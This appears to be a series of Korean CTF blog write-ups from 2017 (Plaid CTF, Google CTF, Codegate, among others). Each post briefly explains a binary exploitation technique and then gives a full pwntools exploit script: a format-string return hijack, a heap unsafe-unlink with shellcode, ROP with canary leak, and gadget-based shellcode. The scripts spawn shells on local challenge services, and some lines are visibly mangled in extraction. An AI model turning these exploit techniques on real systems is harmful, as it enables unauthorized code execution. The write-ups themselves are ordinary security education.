처음에 malloc을 조금 크게 잡으면 libc안에 할당을 하게 된다.

여기서 libc의 main_area쪽과 거리 계산을 통해 -를 이용해서 릭을한다.

그 후 free_hook를 system으로 덮고 malloc할당된 곳에 /bin/sh를 덮어 씌우면 끝이난다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
host = "localhost"
port = 4000
 
= remote(host, port)
raw_input("plaid CTF 2017")
 
def make_payload(a, b, c):
    payload = str(a) + " , " + str(b) + " , " + str(c)
    return payload
 
def leak():
    libc = ""
    addr = -1176712
    for i in range(06):
        payload = make_payload(1, addr + i, 'A')
        s.sendline(payload)
 
        s.recvuntil("overwriting ")
        libc += s.recv(1)
    return u64(libc+"\x00\x00")
 
def exploit(one_shot):
    addr = -1170488 - 24
    for i in range(06):
        payload = make_payload(1, addr + i, one_shot[i])
        s.sendline(payload)
        s.recv()
 
    binsh = "/bin/sh\x00"
    for i in range(0len(binsh)):
        payload = make_payload(0, i, binsh[i])
        s.sendline(payload)
        s.recv()
 
if __name__ == "__main__":
    s.sendline("1000 x 1000")
 
    libc = leak() - 0x3C4B78 - 0x3e0
    system_addr = libc + 0x45390
 
    log.info("libc_base        : " + hex(libc))
    log.info("system_addr      : " + hex(system_addr))
 
    exploit(p64(system_addr))
    s.sendline("quit")
    s.recv(100)
    s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

MeePwn ctf bs  (0) 2017.07.21
[0CTF EasiestPrintf] write up  (0) 2017.06.30
[google ctf 2017] Inst Prof write up  (0) 2017.06.29
[codegate 2017 final] owner  (0) 2017.06.26
codegate_final 2017 real  (0) 2017.06.23
블로그 이미지

powerprove

,

shellocode를 4바이트만큼 실행시켜주는데

주요 레지스터들을 초기화 시켜준다

그래서 r14를 이용해서 rsp+0x50에 NULL을 넣어주고

one_shot gadget을 이용해서 쉘을 땃다



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
= remote("localhost"4000)
raw_input("googlectf 2017")
 
 
context.arch = "amd64"
shellcode = "\x90"*100
shellcode += asm(shellcraft.amd64.linux.sh())
 
 
if __name__ == "__main__":
 
    log.info("making rsp+0x30 = NULL")
    payload = ""
    payload += "\x49\x89\xE6\xC3"       # mov r14, rsp ; ret
    payload += "\x4D\x01\xD6\xC3"       # add r14, r10 ; ret
    payload += "\x4D\x01\xD6\xC3"       # add r14, r10 ; ret
    payload += "\x49\xFF\xC6\xC3"*0xc   # inc r14 ; ret
    payload += "\x4D\x89\x3E\x90"       # mov QWORD PTR [r14],r15 ; ret
 
    log.info("making one_shot")
    payload += "\x4C\x8B\x75\x18"       # mov r14, [rbp + 0x10]
    payload += "\x4D\x01\xD6\x90"*6     # add r14, r10 ; ret
    payload += "\x49\xFF\xC6\x90"*3     # inc r14
    payload += "\x4D\x01\xDE\xC3"*4        # add r14, r11 ; ret
    payload += "\x4D\x01\xD6\xC3"*8        # add r14, r10 ; ret
    payload += "\x49\xFF\xC6\xC3"*0x1c  # inc r14 ; ret
    payload += "\x41\xFF\xD6\xC3"
    s.send(payload)
 
    s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

[0CTF EasiestPrintf] write up  (0) 2017.06.30
[plaid ctf 2017] bigpicture  (0) 2017.06.29
[codegate 2017 final] owner  (0) 2017.06.26
codegate_final 2017 real  (0) 2017.06.23
허스트 CTF pwn write up  (0) 2017.05.31
블로그 이미지

powerprove

,

codegate_final 2017 real

CTF/2017 2017. 6. 23. 20:46

codegate 첫번째 문제였다.


main함수에서 ShowData란 함수를 호출하는데


ShowData함수는 내가 원하는 한바이트를 출력시킬수 있게 해준다. + main에서 ShowData함수를 호출하기전에 Stack의 주소를 알려준다.



소스코드를 보면 format과 args에 값을 넣을 수 있고 포맷스트링 버그 취약점을 발생시킨다

처음에 당연히 got값을 덮을라고 했지만.



FULL relro이기 때문에  got값을 덮을수 없다.

때문에 스택을 이용해서 공격을 해야한다.



printf 내부를 보면 vfprintf함수가 존재한다.

그리고 vfpirntf함수 안에서 %n이 출력이 된다.

그러므로 vfprintf의 ret 주소를 구해서 %n을 이용해 eip를 컨트롤 하였다.


eip가 컨트롤 되는 것을 확인할수 있다. 

printf의 ret값이아니라 vprintf의 ret값을 바꾸는 이유는 vprintf의 ret값에는 printf의 주소가 있기 때문에 릭을 하지 않아도 libc를 이용할수 있다.

이를 이용해서 one_shot gadget을 통해서 exploit하였다.

one shot 가젯을 이용하려면 esp+0x50이 NULL이여야되기때문에

첫번째 printf에다가 NULL로 만들어주고

두번째 printf를 통해서 eip를 돌렸다.


Showdata의 한바이트 만으로는 aslr을 완벽히 우회가 불가능하여 16분의1확률로 성공이된다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
= remote("localhost"8000)
raw_input("[*] codegate final_2017 ")
 
def leak():
    s.recvuntil("is ")
    stack = int(s.recv(15), 16)
    s.recvuntil("-->")
    s.sendline(str(stack + 0x1a))
    s.recvuntil("is ")
    aslr = int(s.recv(2), 16)
    return stack, aslr
 
def fsb_input(Format, arg):
    s.recvuntil("-->")
    s.sendline(Format)
    s.recvuntil("-->")
    s.sendline(arg)
 
 
if __name__ == "__main__":
    stack, aslr = leak()
    aslr = aslr - 2 + 0xf
 
    one_shot = str(hex(aslr)) + "111700"
    one_shot = int(one_shot, 16)
 
    log.info("stack     : " + hex(stack))
    log.info("aslr      : " + hex(aslr) )
    log.info("exploit   : " + hex(one_shot))
 
    fsb_input("%n"str(stack+0x68 - 0xd8))
    for i in range(014):
        fsb_input("%"+str(one_shot)+"c"+"%1$n",str(stack-0xe9))
 
    s.interactive()
 
cs




이 문제의 핵심은 printf 내부에서 ret를 컨트롤 하는 것인것 같다.

대회때 못푼게 아쉽다...ㅎ

'CTF > 2017' 카테고리의 다른 글

[google ctf 2017] Inst Prof write up  (0) 2017.06.29
[codegate 2017 final] owner  (0) 2017.06.26
허스트 CTF pwn write up  (0) 2017.05.31
DEFCON_2017 beatmeonthedl  (0) 2017.05.07
DEFCON - smashme  (0) 2017.05.07
블로그 이미지

powerprove

,

특이점이 상당히 많다.


먼저 malloc과 free를 구현하였다.

그리고 메세지를 2개밖에 만들지 못한다.

heap overflow의 직감이 왔었다.

unsafe_unlink라는 것을 확인하기 위해서는 두가지만 보면된다.


 


 



왼쪽은 Update하는 부분의 코드이고 오른쪽은 free를 구현한 소스 내부이다.

Update부분에 사이즈를 다시 설정할수 있다는 것을 확인할 수 있다.

사이즈를 다시 할당할 수 있으므로 heap overflow를 일으킬 수 있다.



vmmap을 이용해서 확인한 결과 heap영역에 실행권한이 있다는 사실을 알게 되었다.


나는 페이로드를 unsafe_unlink를 이용해서 exit의 주소를 쉘코드 있는 곳으로 뛸 수 있게 만들 것이다.

change -> Remove(Unsafe_unlink) -> Change(nop sled + shellcode)

그러기 위해서는 heap주소의 릭이 필요하다.



heap의 메모리를 보니 malloc_chunk에 heap영역이 저장되는것을 알 수 있었다.(func_malloc을 보면 그 이유도 알 수 있다.)



이를 이용해 릭을 할 수 있었고 

나머지는 unsafe_unlink를 이용해서 풀면된다.!



작성한 exploit은 다음과 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
 
def Menu(index):
    s.recvuntil(">>")
    s.sendline(str(index))
 
def Leave(size, payload):
    Menu('L')
    s.recvuntil("size : ")
    s.sendline(str(size))
    s.recvuntil("msg : ")
    s.sendline(payload)
 
def Remove(index):
    Menu('R')
    s.recvuntil("index : ")
    s.sendline(str(index))
 
def Change(index, size, payload):
    Menu('C')
    s.recvuntil("index : ")
    s.sendline(str(index))
    s.recvuntil("size : ")
    s.sendline(str(size))
    s.recvuntil("msg : ")
    s.sendline(payload)
 
def View(index):
    Menu('V')
    s.recvuntil("index : ")
    s.sendline(str(index))
 
if __name__ == "__main__":
    s = remote("localhost"4000)
 
    Leave(32"A"*31)
    Leave(32"A"*31)
 
    payload = "BBBB"*14
    Change(01000 ,payload[:-1])
 
    View(0)
    s.recvuntil("\n")
    heap_ptr = u64(s.recvuntil("\n")[:-1].ljust(8,"\x00")) - 0xa8
    log.info("heap_ptr      : "+str(hex(heap_ptr)))
 
    payload = "B"*56
    payload += p64(0x602070 - 0x10)    # exit_got()
    payload += p64(heap_ptr + 0xa8)
    Change(01000, payload)
    Remove(1)
 
    payload = "\x90"*500
    payload += shellcode
    Change(01000, payload)
 
    s.recvuntil(">>")
    s.sendline("FUCK!")
    s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

허스트 CTF pwn write up  (0) 2017.05.31
DEFCON_2017 beatmeonthedl  (0) 2017.05.07
DEFCON - smashme  (0) 2017.05.07
[codegate final] petshop  (0) 2017.04.28
codegate 2017 - babypwn write up  (0) 2017.04.05
블로그 이미지

powerprove

,

codegate 2017에 출시되었던 babypwn 문제이다.  단순한 BOF문제 였다.



 

 




핵심 코드는 이 두가지다.

v2 는 ebp로부터 0x34만큼 떨어져 있지만 recv르 100만큼 받으므로 buffer overflow가 난다.

v3은 카나리가 있는 것을 확인할 수있는데 v2를 recv한후 다시 v2를 send로 출력시켜 줌으로  카나리 릭을 할 수 있다.





카나리릭이 된다는 것을 확인할 수 있었다.

이제 카나리 릭이 됨으로 ROP를 이용해서 exploit을 하면 된다.

bss에 "/bin/sh <&4 >&4"(소켓이므로 파일디스크립터를 신경쓰자)를 넣고 

system을 호출시켰다. system함수가 구현되어 있어서 릭은 필요가 없었다.(만세)!



exploit은 다음과 같이 구현하였다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
recv_some = 0x8048907
send_some = 0x80488B1
bss = 0x804B1B4
ppr = 0x8048b84
 
def Echo(payload):
        s.recvuntil(" menu > ")
    s.sendline("1")
    s.recvuntil("Input Your Message : ")
    s.sendline(payload)
    s.recvuntil("\n")
 
 
if __name__ == "__main__":
 
    s = remote("localhost"4000)
 
    g = log.progress("hack")
    g.status("canary_leak")
 
    payload = "A"*40
    Echo(payload)
 
    canary = u32(s.recvuntil("\n")[:-1].rjust(4,"\x00"))
    log.info("canary         : "+str(hex(canary)))
    g.status("rop!")
 
    payload = "A"*40
    payload += p32(canary)
    payload += "A"*12
    payload += p32(recv_some)
    payload += p32(ppr)
    payload += p32(bss)
    payload += p32(0x100)
    payload += p32(0x8048620)
    payload += p32(0xDEADBEEF)
    payload += p32(bss)
    Echo(payload)
 
        s.recvuntil(" menu > ")
    s.sendline("3")
    s.sendline("/bin/sh <&4 >&4\x00")
    g.success()
 
    s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

허스트 CTF pwn write up  (0) 2017.05.31
DEFCON_2017 beatmeonthedl  (0) 2017.05.07
DEFCON - smashme  (0) 2017.05.07
[codegate final] petshop  (0) 2017.04.28
codegate 2017 - messenger write up  (0) 2017.04.05
블로그 이미지

powerprove

,